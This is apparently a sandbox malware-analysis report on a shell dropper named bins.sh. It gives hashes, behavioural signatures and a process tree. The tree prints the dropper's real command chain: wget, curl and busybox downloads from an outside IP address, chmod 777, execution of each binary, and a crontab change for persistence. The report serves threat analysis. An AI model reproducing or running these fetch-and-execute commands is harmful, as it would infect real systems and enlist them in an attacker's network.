Analysis
-
max time kernel
149s -
max time network
151s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
27/11/2024, 02:07
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
8f5088b4912cb20abde29e1603b7fcae
-
SHA1
b3b699bc68a5e784f72a8de3cc5ca4a3108e24db
-
SHA256
33eafd3d129b1c00172304bbe6745931000915b87f0300905556d89f4ff20b81
-
SHA512
46c0d0dc07b3fb5dd94a54cac867cf10e17553ce5fa7f037e681fca3105b7b281fcb6b0f36b0e9a691b8161debb42b662a9a155ca3c29b2d6d065a677ff65785
-
SSDEEP
192:CiyCpdx7WymIRpQc2Xe6z/vu1uT+z/vu1uGiyCpdlymIRpeP4g:r7WymIRpQcjiWymIRpTg
Malware Config
Signatures
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Contacts a large (1917) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 9 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1547 chmod 1568 chmod 1519 chmod 1526 chmod 1533 chmod 1540 chmod 1512 chmod 1554 chmod 1561 chmod -
Executes dropped EXE 9 IoCs
ioc pid Process /tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f 1513 OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f /tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym 1520 WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym /tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X 1527 aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X /tmp/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf 1534 gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf /tmp/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw 1541 nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw /tmp/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53 1548 Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53 /tmp/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd 1555 c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd /tmp/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE 1562 gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE /tmp/EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca 1569 EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca -
Renames itself 1 IoCs
pid Process 1570 EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.hKlskQ crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/167/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1473/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1668/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1770/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/10/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1736/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1064/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1232/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1598/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1810/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/26/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1760/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1832/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1270/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1504/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1585/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1696/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1654/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1639/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/83/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/162/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1819/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1130/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1166/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1501/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1507/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/115/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/697/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1827/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/244/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/903/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1676/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1815/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1800/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1818/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1312/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1647/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1658/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1785/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1606/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1664/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1763/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1769/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1722/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1744/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1749/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1587/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1604/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1703/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1712/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1095/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1150/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1678/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/164/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1822/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1726/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1842/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/24/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/25/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1326/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1625/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1646/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca File opened for reading /proc/1711/cmdline EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca -
System Network Configuration Discovery 1 TTPs 10 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1511 busybox 1513 OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f 1515 rm 1552 curl 1553 busybox 1555 c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd 1557 rm 1506 wget 1551 wget 1510 curl -
Writes file to tmp directory 27 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw busybox File opened for modification /tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f curl File opened for modification /tmp/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd busybox File opened for modification /tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym busybox File opened for modification /tmp/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw curl File opened for modification /tmp/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53 wget File opened for modification /tmp/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53 curl File opened for modification /tmp/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53 busybox File opened for modification /tmp/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE curl File opened for modification /tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f wget File opened for modification /tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X curl File opened for modification /tmp/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf wget File opened for modification /tmp/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf busybox File opened for modification /tmp/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw wget File opened for modification /tmp/EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca curl File opened for modification /tmp/EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca busybox File opened for modification /tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym curl File opened for modification /tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X busybox File opened for modification /tmp/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd wget File opened for modification /tmp/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd curl File opened for modification /tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym wget File opened for modification /tmp/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE wget File opened for modification /tmp/EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca wget File opened for modification /tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X wget File opened for modification /tmp/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf curl File opened for modification /tmp/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE busybox File opened for modification /tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1504
-
/bin/rm/bin/rm bins.sh2⤵PID:1505
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1506
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1510
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1511
-
-
/bin/chmodchmod 777 OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f2⤵
- File and Directory Permissions Modification
PID:1512
-
-
/tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f./OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:1513
-
-
/bin/rmrm OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f2⤵
- System Network Configuration Discovery
PID:1515
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym2⤵
- Writes file to tmp directory
PID:1516
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym2⤵
- Writes file to tmp directory
PID:1517
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym2⤵
- Writes file to tmp directory
PID:1518
-
-
/bin/chmodchmod 777 WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym2⤵
- File and Directory Permissions Modification
PID:1519
-
-
/tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym./WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym2⤵
- Executes dropped EXE
PID:1520
-
-
/bin/rmrm WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym2⤵PID:1522
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X2⤵
- Writes file to tmp directory
PID:1523
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X2⤵
- Writes file to tmp directory
PID:1524
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X2⤵
- Writes file to tmp directory
PID:1525
-
-
/bin/chmodchmod 777 aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X2⤵
- File and Directory Permissions Modification
PID:1526
-
-
/tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X./aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X2⤵
- Executes dropped EXE
PID:1527
-
-
/bin/rmrm aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X2⤵PID:1529
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf2⤵
- Writes file to tmp directory
PID:1530
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf2⤵
- Writes file to tmp directory
PID:1531
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf2⤵
- Writes file to tmp directory
PID:1532
-
-
/bin/chmodchmod 777 gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf2⤵
- File and Directory Permissions Modification
PID:1533
-
-
/tmp/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf./gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf2⤵
- Executes dropped EXE
PID:1534
-
-
/bin/rmrm gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf2⤵PID:1536
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw2⤵
- Writes file to tmp directory
PID:1537
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw2⤵
- Writes file to tmp directory
PID:1538
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw2⤵
- Writes file to tmp directory
PID:1539
-
-
/bin/chmodchmod 777 nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw2⤵
- File and Directory Permissions Modification
PID:1540
-
-
/tmp/nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw./nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw2⤵
- Executes dropped EXE
PID:1541
-
-
/bin/rmrm nKsxcftTGeIy3mTCV8ByioFQG7fHYZekDw2⤵PID:1543
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg532⤵
- Writes file to tmp directory
PID:1544
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg532⤵
- Writes file to tmp directory
PID:1545
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg532⤵
- Writes file to tmp directory
PID:1546
-
-
/bin/chmodchmod 777 Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg532⤵
- File and Directory Permissions Modification
PID:1547
-
-
/tmp/Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg53./Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg532⤵
- Executes dropped EXE
PID:1548
-
-
/bin/rmrm Rkm8qnZuv3XaNNkZiQsxNxyNijOyQyLg532⤵PID:1550
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1551
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1552
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1553
-
-
/bin/chmodchmod 777 c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd2⤵
- File and Directory Permissions Modification
PID:1554
-
-
/tmp/c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd./c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:1555
-
-
/bin/rmrm c0FoIPUeWD82s0bWGrgMrXYhhsd2Dx20hd2⤵
- System Network Configuration Discovery
PID:1557
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE2⤵
- Writes file to tmp directory
PID:1558
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE2⤵
- Writes file to tmp directory
PID:1559
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE2⤵
- Writes file to tmp directory
PID:1560
-
-
/bin/chmodchmod 777 gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE2⤵
- File and Directory Permissions Modification
PID:1561
-
-
/tmp/gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE./gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE2⤵
- Executes dropped EXE
PID:1562
-
-
/bin/rmrm gdePevMdt6czUQXtMYnP8fnLoAxy69GwnE2⤵PID:1564
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca2⤵
- Writes file to tmp directory
PID:1565
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca2⤵
- Writes file to tmp directory
PID:1566
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca2⤵
- Writes file to tmp directory
PID:1567
-
-
/bin/chmodchmod 777 EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca2⤵
- File and Directory Permissions Modification
PID:1568
-
-
/tmp/EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca./EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1569 -
/bin/shsh -c "crontab -l"3⤵PID:1571
-
/usr/bin/crontabcrontab -l4⤵PID:1572
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1573
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1574
-
-
-
-
/bin/rmrm EGn2ABSO0HDy4uZ5xy0hGlk2OxkRLNoMca2⤵PID:1576
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/23kICRJVMH1Y4LUCrI86Z95GKG6quBniQD2⤵PID:1579
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
-
Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
-
Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
-
Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
-
Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
-
Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
-
Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
-
Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
-
Filesize
210B
MD5ee21386c3140d09f9198166c2b0c554c
SHA155de78a4fd1f16f741b5b5d44a16bbc8b38e1316
SHA256bde0b994aa6db2ad8b583780944c8955c272af555536cdd03e338380a2d3de6c
SHA51256de3171d3e5f2eef015c491c2dcc753f77ad2892e5547c7583a5c24029d066f635bac9e320e0ca6786e5e64625876229fa684f958e6afff2037d7316caa0a4d